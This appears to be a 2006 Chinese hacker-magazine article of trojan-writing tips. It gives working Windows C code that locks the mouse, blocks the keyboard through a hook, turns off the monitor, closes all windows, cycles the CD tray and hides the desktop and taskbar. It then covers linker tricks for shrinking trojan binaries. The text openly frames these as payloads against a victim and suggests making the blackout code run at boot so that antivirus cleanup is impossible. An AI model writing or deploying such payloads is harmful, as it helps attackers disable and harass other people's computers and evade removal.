木马编写小技巧
1.锁定鼠标:
这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");
RECT rect;
rect.bottom=1;
rect.right=1;
ClipCursor(&rect);
::Sleep(15000);
ClipCursor(NULL);//释放
return 0;
}
注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域
2.锁定键盘:
锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了
#include <stdio.h>
#include <windows.h>
//处理按键消息的过程函数
LRESULT CALLBACK keyproc( int code,
WPARAM wParam,
LPARAM lParam )
{
return 1;//返回1可使键盘停止响应
}
main(int argc, char* argv[])
{
SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子
printf("\n\n\n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦\n");
::Sleep(15000);
}
注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL),GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.
3.关闭显视器
这个也是相当简单的看看代码:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭
::Sleep(10000);
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开
return 0;
}
要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿
4.关闭所有窗口
原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起
#include <windows.h>
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理
return 0;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数
{
::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口
return (true);//返回FALSE时EnumWindows结束
}
程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵
5.锁定光驱
其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱
#include <mmsystem.h>//注意加入头文件
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
::mciSendString("set cdaudio door open",NULL,0,NULL);//打开
::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭
return 0;
}
//注意在 工程-设置-LINK中加入库文件名winmm.lib
如果你弄个死循环,就可以让他的光驱好好活动活动了^_^
6.制造噪音
大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在
#include<windows.h>
main()
{
for(int j=450;j<500;j++)
{
for(int i=1000;i<1110;i++)
{
Beep(i,30);
::Sleep(100);
}
}
}
关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。
7.隐藏桌面
其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
HWND disk,mask;
disk=FindWindow("ProgMan",NULL);
mask=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(mask,SW_HIDE);//隐藏任务栏
ShowWindow(disk,SW_HIDE);//隐藏桌面
printf("\n15妙后会自动出现桌面 请等待.....\n");
Sleep(15000);
ShowWindow(mask,SW_SHOW);//显示
ShowWindow(disk,SW_SHOW);//显示
return 0;
}
缩小木马大小,
1. 普通Exe 文件
完全可以使用下面方法:
A. link标记: /nodefaultlib
代表: Ignore all default libraries
包括运行时库, 都不用.
当然如果大家要用相关c运行时库的api 怎么办呢?
可以使用相关对应的API, 比如strcmpi, 使用lstrcmpi, 详细请参考下表:
Standard function
Win32 equivalent
malloc HeapAlloc
free HeapFree
strcpy lstrcpy
strcat lstrcat
strncpy lstrncpy
strncat lstrncat
strlen lstrlen
strcmp lstrcmp
strcmpi lstrcmpi
memcpy CopyMemory
memset FillMemory or ZeroMemory
memmove MoveMemory
toupper CharUpper
tolower CharLower
isalpha IsCharAlpha
isalnum IsCharAlphaNumeric
islower IsCharLower
isupper IsCharUpper
sprintf wsprintf
vsprintf wvsprint
B. 设置连接节大小及其他
加入下面代码到cpp文件就可以.
#ifndef _DEBUG
#pragma comment(linker, "/FILEALIGN:16")
#pragma comment(linker, "/ALIGN:16")
#pragma comment(linker, "/OPT:REF")
#pragma comment(linker, "/OPT:ICF")
#pragma comment(linker, "/OPT:NOWIN98") // 使用老VC编绎器的512大小为一节
// 合并段
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
// Favour small code
#pragma comment(linker, "/ENTRY:WinMain")
#endif
如果是少量代码的Exe 程序, 最终大小可以在1500 字节以内.
我曾写过一个程序使用了文件读写, 执行进程, 字符运算, 等等一共50多行代码, 最终大小为: 1488字节.
C. 不幸的是可能还是要使用c运行库
那可以使用这个 LIBCTINY.LIB文件, 以尽量减小. 当然这个lib 本身包括不多的运行库api.
LIBCTINY.LIB 文件以及源程序参考:
http://msdn.microsoft.com/msdnmag/issues/01/01/hood/default.aspx
2. 普通Dll 大小问题
因为: __DllMainCRTStartup 或: _DllMainCRTStartup 要调用运行时库
还好, LIBCTINY.LIB 里面已经有相关实现, 可以用LIBCTINY.LIB, 而不用调用运行库了. 这样可以大大减小.
连接设置:
#ifndef _DEBUG
// default lib setting.
#pragma comment(linker, "/defaultlib:kernel32.lib")
#pragma comment(linker, "/defaultlib:LIBCTINY.LIB")
#pragma comment(linker, "/nodefaultlib:libc.lib")
#pragma comment(linker, "/nodefaultlib:libcmt.lib")
// section size
#pragma comment(linker, "/FILEALIGN:16")
#pragma comment(linker, "/ALIGN:16")
#pragma comment(linker, "/OPT:NOWIN98")
// 合并段
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
#endif
另外我的测试程序中导出了一个接口
BOOL _stdcall ExpHook( )
{
return 0;
}
最终大小为: 992字节.
3. 复杂Dll 和复杂Exe 大小问题
如果你的程序一定要使用MFC, 那怎么编绎至少也有几十KB了.
但你还是可以用相关PE压缩程序压缩一下的. 至少能压缩到50%.
如果是COM, 建议不要使用MFC, 如果使用ATL, 可以使用压缩程序压缩一下, 基本会在20-40K 大小.
复杂类型的Dll, Exe 肯定是要使用运行库的. 像用了ATL就没有办法不用运行库了.